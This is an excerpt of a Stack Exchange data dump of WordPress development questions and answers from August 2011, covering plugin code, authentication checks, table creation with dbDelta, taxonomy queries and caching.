  <row Id="26456" PostTypeId="1" AcceptedAnswerId="26474" CreationDate="2011-08-21T10:21:49.087" Score="0" ViewCount="15" Body="&lt;p&gt;I've installed a single site WP. In one of my plugins, I have  the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_multisite) {&#xA;  $upload_dir = get_upload_dir();&#xA;  $_SESSION['root_image_dir'] =  str_replace('\\','/',$upload_dir['basedir']);&#xA;  echo 'IS MULTI.'; //&amp;lt;-- this is outputted every time&#xA;} else {&#xA;  $_SESSION['root_image_dir'] = '';&#xA;  echo 'IS NOT MULTI'.$_SESSION['root_image_dir'];&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason, the &lt;code&gt;echo&lt;/code&gt; statement is triggered every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_multisite&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_multisite&lt;/code&gt;&lt;/a&gt; not working?.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-21T16:04:59.617" Title="Why is 'is_multisite' returning true when it's a single install?" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="26457" PostTypeId="1" AcceptedAnswerId="26459" CreationDate="2011-08-21T10:28:13.060" Score="3" ViewCount="29" Body="&lt;p&gt;I have a site based on WordPress. This site has some functions for member only. One of the functions is a external script and I believe anyone can access this without authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add .htaccess to this script to prevent unauthorized access. But then my users have to login again and it's kind of inconvenient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution to add some check to my script that use the same WordPress authentication mechanism, that is, if user already login, he have full access to the script. If not, he will be redirected to WordPress login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: My script is written in PHP&lt;/p&gt;&#xA;" OwnerUserId="2222" LastEditorUserId="2222" LastEditorDisplayName="" LastEditDate="2011-08-21T10:46:33.743" LastActivityDate="2011-08-21T10:51:16.907" Title="How to use WordPress authentication on non-WordPress page?" Tags="&lt;authentication&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="26458" PostTypeId="2" ParentId="26452" CreationDate="2011-08-21T10:31:14.240" Score="0" ViewCount="" Body="&lt;p&gt;Just use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_home) {&#xA; // This retrieves 5 psots with the category &quot;some-category&quot;&#xA; $sidebar_posts = get_posts(&quot;category=some-category&amp;amp;orderby=date&amp;amp;numberposts=5&quot;);&#xA;} else {&#xA; $sidebar_posts = get_posts(&quot;category=some-other-category&amp;amp;orderby=date&amp;amp;numberposts=5&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your sidebar section, use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  echo '&amp;lt;ul&amp;gt;';&#xA;  foreach($sidebar_posts as $post):&#xA;    echo '&amp;lt;li&amp;gt;';&#xA;    echo '&amp;lt;a href=&quot;'.get_the_permalink().'&quot;&amp;gt;.'get_the_title().'&amp;lt;/a&amp;gt;';&#xA;    the_title('&amp;lt;h3&amp;gt;','&amp;lt;/h3&amp;gt;');&#xA;    echo '&amp;lt;/li&amp;gt;';&#xA;  endforeach;&#xA;  echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think that is what you are looking for?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-21T10:31:14.240" CommentCount="1" />
  <row Id="26459" PostTypeId="2" ParentId="26457" CreationDate="2011-08-21T10:51:16.907" Score="4" ViewCount="" Body="&lt;p&gt;Just add this at the top of your file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php');&#xA;&#xA;// If you run multisite, you might nees this to prevent 404 error&#xA;header('HTTP/1.1 200 OK');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the file must be in the same folder as your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use &lt;code&gt;is_user_logged_in&lt;/code&gt; before executing the rest of the script.&#xA;If use is not logged in, then just trigger the login form or a login plugin.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-21T10:51:16.907" CommentCount="1" />
  <row Id="26460" PostTypeId="1" AcceptedAnswerId="26470" CreationDate="2011-08-21T11:18:03.077" Score="1" ViewCount="30" Body="&lt;p&gt;I am writing a plugin that requires a large chunk of html. Now the way how it is set up now works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return &amp;lt;&amp;lt;&amp;lt;EOT &amp;lt;html&amp;gt; EOT;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I want to split the file into different php files that i can include. Now I tried this, but it does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;include(plugin_dir_url( __FILE__ ).'file.php');&#xA;return ob_get_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any know how this could be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=====================&lt;br&gt;&#xA;&lt;strong&gt;&lt;em&gt;EDIT&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok thanks Chris Carson to I have found the small error, I changed the code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;include(plugin_dir_path( __FILE__ ).'/file.php');&#xA;return ob_get_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working ok now, except for one small problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the previous code I used something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$variable = 'Hello!';&#xA;&#xA;return &amp;lt;&amp;lt;&amp;lt;EOT&#xA;    &amp;lt;span&amp;gt;{$variable}&amp;lt;/span&amp;gt;&#xA;EOT;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would have made the following in html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span&amp;gt;Hello!&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$variable = 'Hello!';&#xA;&#xA;ob_start();&#xA;include(plugin_dir_path( __FILE__ ).'/file.php');&#xA;return ob_get_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This just prints &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span&amp;gt;{$variable}&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any way to get the code working with variables.&lt;/p&gt;&#xA;" OwnerUserId="7781" LastEditorUserId="7781" LastEditorDisplayName="" LastEditDate="2011-08-21T15:30:14.467" LastActivityDate="2011-08-21T15:30:14.467" Title="Include content of file into plugin (ob_start();;include;ob_get_clean()) without &lt;&lt;&lt;EOT" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="26461" PostTypeId="1" CreationDate="2011-08-21T11:34:37.223" Score="-2" ViewCount="33" Body="&lt;p&gt;The reason why I have created this question as it's a bit more specific. On the website I am creating I have a stylesheet attached (http://glophotonics.fr/Stylesheets/stylesheet.css) which does the style for every single page, including the WordPress section (http://glophotonics.fr/blog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, can anyone find what is causing an issue in all versions of Internet Explorer which means that ONLY on the WordPress section it doesn't accept it. It's the same style sheet as ALL of the other pages and they work fine, but this blog page doesn't. I have gone through it 100s of times but I cannot see what would be causing it. I was hoping by putting it up here, someone will see the error somewhere, or know what is causing, basically the stylesheet to not work on one page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" LastActivityDate="2011-08-21T12:10:19.343" Title="Internet Explorer and WordPress Styling Problems" Tags="&lt;html&gt;&lt;css&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26462" PostTypeId="2" ParentId="26461" CreationDate="2011-08-21T12:10:19.343" Score="1" ViewCount="" Body="&lt;p&gt;not really a wordpress issue: &lt;a href=&quot;http://validator.w3.org/check?uri=http%3A%2F%2Fglophotonics.fr%2Fblog%2F&amp;amp;charset=%28detect+automatically%29&amp;amp;doctype=Inline&amp;amp;group=0&quot; rel=&quot;nofollow&quot;&gt;http://validator.w3.org/check?uri=http%3A%2F%2Fglophotonics.fr%2Fblog%2F&amp;amp;charset=%28detect+automatically%29&amp;amp;doctype=Inline&amp;amp;group=0&lt;/a&gt; - i.e. the comment code (possibly from one of the wordpress theme templates) is irritating IE. move the comment code to after the call of the header.php.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-21T12:10:19.343" />
  <row Id="26463" PostTypeId="1" CreationDate="2011-08-21T12:23:01.743" Score="0" ViewCount="34" Body="&lt;p&gt;I want to use Wordpress for an existing site (coded in PHP). It has some forms (for member subscription, user can update their data etc.) which are connected directly to an existing database.&#xA;I don't want to touch or change the DB, because it's a huge member database. So my problem now is - how can I use a contact form within wordpress which sends the data automatically to this existing database? &#xA;Thanks for your help!!&lt;/p&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2011-08-21T19:32:52.330" Title="Connect forms in WP to external database" Tags="&lt;database&gt;&lt;form&gt;" AnswerCount="1" />
  <row Id="26464" PostTypeId="2" ParentId="24736" CreationDate="2011-08-21T13:03:30.617" Score="1" ViewCount="" Body="&lt;p&gt;If anyone is interested, I solved it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $tags = $_POST['tags'];&#xA;        if (count($tags) &amp;gt; 5){&#xA;            echo 'Niet meer dan 5 tags';&#xA;            $stop = true;&#xA;        }&#xA;&#xA;        if (is_array($tags)) {&#xA;            foreach ($tags as &amp;amp;$tag) {&#xA;                $tag = esc_attr($tag);&#xA;            }&#xA;            unset($tag );&#xA;        } else {&#xA;            $tags = esc_attr($tags);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-08-21T13:03:30.617" CommentCount="1" />
  <row Id="26465" PostTypeId="2" ParentId="24736" CreationDate="2011-08-21T13:15:38.037" Score="1" ViewCount="" Body="&lt;p&gt;Here's a way to do it with PHP's &lt;a href=&quot;http://php.net/manual/en/function.array-map.php&quot; rel=&quot;nofollow&quot;&gt;array map&lt;/a&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Good idea to make sure things are set before using them&#xA;$tags = isset( $_POST['tags'] ) ? (array) $_POST['tags'] : array();&#xA;&#xA;// Any of the WordPress data validation functions can be used here&#xA;$tags = array_map( 'esc_attr', $tags );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-21T13:15:38.037" />
  <row Id="26466" PostTypeId="1" CreationDate="2011-08-21T13:16:08.063" Score="1" ViewCount="32" Body="&lt;p&gt;I'm creating a website that has two basic user groups: Subscribers and Editors. Bot can create posts via a custom form using &lt;code&gt;wp_insert_post()&lt;/code&gt;, but Editors are allowed to mark a post as private, effectively sharing a single post only among other Editors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Wordpress already filters private posts out of the loop for anyone lower than Editors, i'm wondering how this will affect my caching because (as far as I understand) I'll have two caches: one showing posts to Subscribers, and one showing posts to Editors which also includes private posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the loop I'm using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;current_user_can()&lt;/code&gt;: to include or exclude some post content based on Subscriber/Editor/Administrator&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_post_status()&lt;/code&gt;: to include or exclude some post content based on if the post is &quot;private&quot; or &quot;published&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_post_meta()&lt;/code&gt;: to retrieve various custom fields&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Right now I'm using 26 queries in 0.198 seconds on index.php and 28 queries in 0.193 seconds on single.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would one effectively cache this? I don't have any caching plugin yet but I do have access to xCache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="4284" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-21T14:30:07.453" LastActivityDate="2011-08-21T14:30:07.453" Title="Can someone explain Wordpress caching, and what's the best in my scenario?" Tags="&lt;cache&gt;&lt;capabilities&gt;" CommentCount="3" />
  <row Id="26467" PostTypeId="2" ParentId="5094" CreationDate="2011-08-21T13:57:25.393" Score="0" ViewCount="" Body="&lt;p&gt;This is how we do it to be 100% as we have multiple main sites in the network installation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function name_ly_get_main_blog_id () {&#xA;  global $current_site;&#xA;  global $wpdb;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;return $wpdb-&gt;get_var ( $wpdb-&gt;prepare ( &quot;SELECT &lt;code&gt;blog_id&lt;/code&gt; FROM &lt;code&gt;$wpdb-&amp;gt;blogs&lt;/code&gt; WHERE &lt;code&gt;domain&lt;/code&gt; = '%s' AND &lt;code&gt;path&lt;/code&gt; = '%s' ORDER BY &lt;code&gt;blog_id&lt;/code&gt; ASC LIMIT 1&quot;, $current_site-&gt;domain, $current_site-&gt;path ) );&#xA;}&lt;/p&gt;&#xA;" OwnerUserId="8077" LastActivityDate="2011-08-21T13:57:25.393" />
  <row Id="26468" PostTypeId="1" AcceptedAnswerId="26471" CreationDate="2011-08-21T14:55:57.007" Score="0" ViewCount="39" Body="&lt;p&gt;I'm working on a plugin that &lt;em&gt;was&lt;/em&gt; creating a table successfully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I decided to test it in a fresh install of Wordpress (on my local server) and now the table is not being created in my activation code. Instead I am getting the error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The plugin generated 149 characters of unexpected output during&#xA;  activation. If you notice “headers already sent” messages, problems&#xA;  with syndication feeds or other issues, try deactivating or removing&#xA;  this plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function nc_create_location_table() {&#xA;    // makes the location table&#xA;    global $wpdb;&#xA;    global $simple_location_version;&#xA;&#xA;    $table_name = $wpdb-&amp;gt;prefix . &quot;nc_location&quot;;&#xA;&#xA;    $installed_ver = get_option( &quot;simple_location_version&quot; );&#xA;&#xA;    if( $installed_ver != $simple_location_version ) {&#xA;        $sql = &quot;CREATE TABLE &quot; . $table_name . &quot; (&#xA;                location_id MEDIUMINT(9) NOT NULL AUTO_INCREMENT,&#xA;                PRIMARY KEY  (location_id),&#xA;                    name VARCHAR (100),&#xA;                    street_no VARCHAR (5),&#xA;                    street_name VARCHAR (75),&#xA;                    city VARCHAR (75),&#xA;                    province_state VARCHAR (75),&#xA;                    postal_code VARCHAR(10),&#xA;                    country VARCHAR (75)&#xA;            );&quot;;&#xA;&#xA;        require_once(ABSPATH . 'wp-admin/includes/upgrade.php');&#xA;        dbDelta($sql);&#xA;&#xA;        update_option(&quot;simple_location_version&quot;, $simple_location_version);&#xA;&#xA;    }&#xA;&#xA;    $tmp = get_option('nc_location_options');&#xA;&#xA;    if(($tmp['chkbox_reset']=='on')||(!is_array($tmp))) {&#xA;    echo 'setting defaults';&#xA;        $arr = array(&#xA;            &quot;nc_location_zoom&quot;=&amp;gt;10, &#xA;            &quot;nc_location_width&quot; =&amp;gt; &quot;200&quot;, &#xA;            &quot;nc_location_height&quot; =&amp;gt; &quot;200&quot;, &#xA;            &quot;nc_location_drop_down_maptype&quot; =&amp;gt; &quot;road&quot;,&#xA;        );&#xA;        update_option('nc_location_options', $arr);&#xA;    }&#xA;}&#xA;&#xA;register_activation_hook(__FILE__,'nc_create_location_table');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I check my tables, I see that my table hasn't been created, and also I am getting an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can shine a light on why code that &lt;em&gt;was&lt;/em&gt; working is now not working (and also, is it possible to see &lt;em&gt;where&lt;/em&gt; the unexpected output is...as there's no display as to what the error is other than this message)?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-21T19:33:49.007" LastActivityDate="2011-08-22T15:15:19.033" Title="Problem creating a table with dbDelta" Tags="&lt;activation&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="26469" PostTypeId="1" CreationDate="2011-08-21T15:06:01.383" Score="-1" ViewCount="16" Body="&lt;p&gt;Is there an easier way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i lost a large amount of post and feeds, which then downgraded me from google ranking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for help or answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joey&lt;/p&gt;&#xA;" OwnerUserId="7885" LastActivityDate="2011-08-22T00:02:23.020" Title="add new posts into older wp database" Tags="&lt;database&gt;&lt;updates&gt;&lt;merging&gt;" AnswerCount="1" />
  <row Id="26470" PostTypeId="2" ParentId="26460" CreationDate="2011-08-21T15:11:09.673" Score="2" ViewCount="" Body="&lt;p&gt;When including files you don't want the URL, but the filesystem path instead.  So...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include(dirname(__FILE__) . &quot;/path/to/myfile.php&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to put the first forward slash in &lt;code&gt;/path/to/myfile.php&lt;/code&gt;, since &lt;code&gt;dirname&lt;/code&gt; doesn't include the trailing slash.  &lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-21T15:11:09.673" CommentCount="2" />
  <row Id="26471" PostTypeId="2" ParentId="26468" CreationDate="2011-08-21T15:36:39.303" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if( $installed_ver != $simple_location_version ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on first run, &lt;code&gt;$installed_ver&lt;/code&gt; is an empty string and &lt;code&gt;$simple_location_version&lt;/code&gt; is NULL, so this inequality test will fail and your SQL will never be executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you check for strict inequality, it will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $installed_ver !== $simple_location_version ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-21T15:36:39.303" />
  <row Id="26472" PostTypeId="1" AcceptedAnswerId="26473" CreationDate="2011-08-21T15:44:08.683" Score="1" ViewCount="19" Body="&lt;p&gt;I have a jQuery ui tabs that load posts via ajax on sidebar. Now in a specific page  i want to filter the query post via &lt;code&gt;is_page();&lt;/code&gt; conditional. But in my case its not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function load_home_classifieds($type){&#xA;&#xA;    $query = array(&#xA;        'post_type' =&amp;gt; 'classified',&#xA;        'posts_per_page' =&amp;gt; 5&#xA;    );&#xA;&#xA;    if(is_page('real-estate')){&#xA;            //echo 'ok';&#xA;            $query['tax_query'] = array(&#xA;                                            array( &#xA;                                            'taxonomy' =&amp;gt; 'classified-category', &#xA;                                            'field' =&amp;gt; 'slug', &#xA;                                            'terms' =&amp;gt; array( 'real-estate' ),&#xA;                                            'operator' =&amp;gt; 'NOT IN'&#xA;                                            )&#xA;                                   );&#xA;        }&#xA;&#xA;    if($type == 'latest'){&#xA;&#xA;        query_posts($query);&#xA;        get_template_part('loop', 'cfhome'); &#xA;    }&#xA;    elseif($type == 'random'){&#xA;        $query['orderby'] =  'rand';&#xA;        query_posts($query);&#xA;        get_template_part('loop', 'cfhome'); &#xA;    }&#xA;    else{&#xA;        echo 'Invalid request!';        &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, my question is how to get the conditional working inside an ajax function?&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-21T15:59:09.360" Title="is_page() conditional not working inside an AJAX function" Tags="&lt;ajax&gt;&lt;conditional-tags&gt;" AnswerCount="1" />
  <row Id="26473" PostTypeId="2" ParentId="26472" CreationDate="2011-08-21T15:59:09.360" Score="2" ViewCount="" Body="&lt;p&gt;If this is executed within an ajax request, is_page() won't be set. the page you're making the request &lt;em&gt;from&lt;/em&gt; was a previous request. you need to set something on the originating page to pass with your ajax request to let it know it's for your special case page.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-21T15:59:09.360" CommentCount="1" />
  <row Id="26474" PostTypeId="2" ParentId="26456" CreationDate="2011-08-21T16:04:59.617" Score="3" ViewCount="" Body="&lt;p&gt;If that's the code you have in your plugin, you're writing it wrong.  You have &lt;code&gt;if(is_multisite)&lt;/code&gt; which is treating the string &lt;code&gt;is_multisite&lt;/code&gt; as a constant and evalutation to true.  Essentially you're writing &lt;code&gt;if(true) ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, &lt;code&gt;is_multisite()&lt;/code&gt; is a &lt;em&gt;function&lt;/em&gt;.  You need the parenthesis at the end for PHP to actually evaluate the function.  Change your code to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_multisite() ) {&#xA;    $upload_dir = get_upload_dir();&#xA;    $_SESSION['root_image_dir'] =  str_replace('\\','/',$upload_dir['basedir']);&#xA;    echo 'IS MULTI.'; //&amp;lt;-- this is outputted every time&#xA;} else {&#xA;    $_SESSION['root_image_dir'] = '';&#xA;    echo 'IS NOT MULTI'.$_SESSION['root_image_dir'];&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-08-21T16:04:59.617" CommentCount="1" />
  <row Id="26475" PostTypeId="2" ParentId="26445" CreationDate="2011-08-21T16:08:31.080" Score="1" ViewCount="" Body="&lt;p&gt;Is WordPress configured to use www or without www?  Your server seems to be listening only for the &lt;code&gt;www&lt;/code&gt; version and tries to redirect non-&lt;code&gt;www&lt;/code&gt; requests to the &lt;code&gt;www&lt;/code&gt; version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that you provided a link to the non-&lt;code&gt;www&lt;/code&gt; version of the domain above, my guess is that WordPress is trying to hook on to &lt;code&gt;http://compassionpit.com&lt;/code&gt;, but your server redirects those requests to &lt;code&gt;http://www.compassionpit.com&lt;/code&gt; and WordPress redirects it back to &lt;code&gt;http://compassionpit.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is indeed what's going on, either kill the &lt;code&gt;www&lt;/code&gt; redirect on your server or tell WordPress (by setting your options directly through phpMyAdmin) to use the &lt;code&gt;www&lt;/code&gt; version of the domain.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-08-21T16:08:31.080" CommentCount="3" />
  <row Id="26476" PostTypeId="2" ParentId="26437" CreationDate="2011-08-21T16:12:01.873" Score="0" ViewCount="" Body="&lt;p&gt;WordPress has a list of reserved terms that you &lt;em&gt;cannot&lt;/em&gt; use for taxonomies.  From your question, I gather that &quot;cooked&quot; is a taxonomy that applies to eggs and &quot;type&quot; is a taxonomy that applies to sausage.  Unfortunately, &quot;type&quot; is a reserved term in WordPress, so it interprets your query string differently than you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full list of reserved terms is available &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy#Reserved_Terms&quot; rel=&quot;nofollow&quot;&gt;in the Codex&lt;/a&gt;.  Just use a different term ... maybe &quot;sausage-type&quot; ... for your taxonomy and you should be in the clear.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-08-21T16:12:01.873" CommentCount="1" />
  <row Id="26477" PostTypeId="1" CreationDate="2011-08-21T15:48:06.290" Score="0" ViewCount="40" Body="&lt;p&gt;I'm currently seeing lots of traffic on my wordpress blog, but I hardly see any referrers. (Both on the stats page of the wordpress.com stats plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in the access.log file and found lots of entries like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;122.169.64.175 - - [21/Aug/2011:13:37:33 +0200] &quot;GET /2011/08/21/usage-patterns-of-scala-traits/ HTTP/1.1&quot; 200 7669 &quot;http://t.co/3rn7sgE&quot; &quot;Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think &lt;code&gt;http://t.co/3rn7sgE&lt;/code&gt; is the referrer!? But it doesn't show up in the referrers stats ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm wondering, does the plugin have a problem with these shorteners, since the link they provide as a referrer redirects back to the site for which the plug in tries to gather stats?&lt;/p&gt;&#xA;" OwnerUserId="8085" LastActivityDate="2011-08-21T17:10:22.433" Title="Has the Wordpress.com Stats plugin a problem with url shorteners as referrers?" Tags="&lt;stats&gt;" CommentCount="1" />
  <row Id="26478" PostTypeId="1" CreationDate="2011-08-21T17:21:19.417" Score="1" ViewCount="26" Body="&lt;p&gt;I am using a script to import my vbulletin forum posts into wordpress as posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One quick issue I ran into is there are numerous forum posts with the same title 'please help me'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go into the post edit screen the permalink will show 'please-help-me-2' for the second one, and 'please-help-me-3' for the third one. That is exactly what I expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when you go to &lt;strong&gt;view the second one on the front end of the website&lt;/strong&gt;, instead of having the -2 appended to the end of the url, it simply says 'please-help-me'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I 'update' the post, then the permalink saves properly and the front end link changes like it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I need:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function that I can use to go through the posts database and have it automatically 'update' all the posts so that the permalinks will change properly on the front end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*we're talking 1.25million posts here, so automation is important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-08-21T22:27:01.013" Title="What 'function' will 'update' a post?" Tags="&lt;wp-update-post&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26479" PostTypeId="1" CreationDate="2011-08-21T17:42:30.230" Score="-1" ViewCount="13" Body="&lt;p&gt;I want to make a separate page to display all my contacts, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e-mail: mymail@domain.com&#xA;&#xA;skype: MySkypeName&#xA;&#xA;ICQ: 111222333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on. I don't want to create it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you advise some plugin to display this information (aligned nicely)?&lt;/p&gt;&#xA;" OwnerUserId="8079" LastActivityDate="2011-08-21T17:42:30.230" Title="I need a plugin to display my contacts on the separate page" Tags="&lt;plugin-recommendation&gt;&lt;page&gt;&lt;contact&gt;" />
  <row Id="26480" PostTypeId="2" ParentId="26417" CreationDate="2011-08-21T18:01:37.273" Score="0" ViewCount="" Body="&lt;p&gt;The way that I would approach it is using the tax_query to create a query that looks for both the correct genre and type.   For example, to query all Movies that are Drama:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myquery['tax_query'] = array(&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'genre',&#xA;        'terms' =&amp;gt; array('drama'),&#xA;        'field' =&amp;gt; 'slug',&#xA;    ),&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'type',&#xA;        'terms' =&amp;gt; array('movie'),&#xA;        'field' =&amp;gt; 'slug',&#xA;    ),&#xA;);&#xA;query_posts($myquery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that will get you started in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="7358" LastActivityDate="2011-08-21T18:01:37.273" />
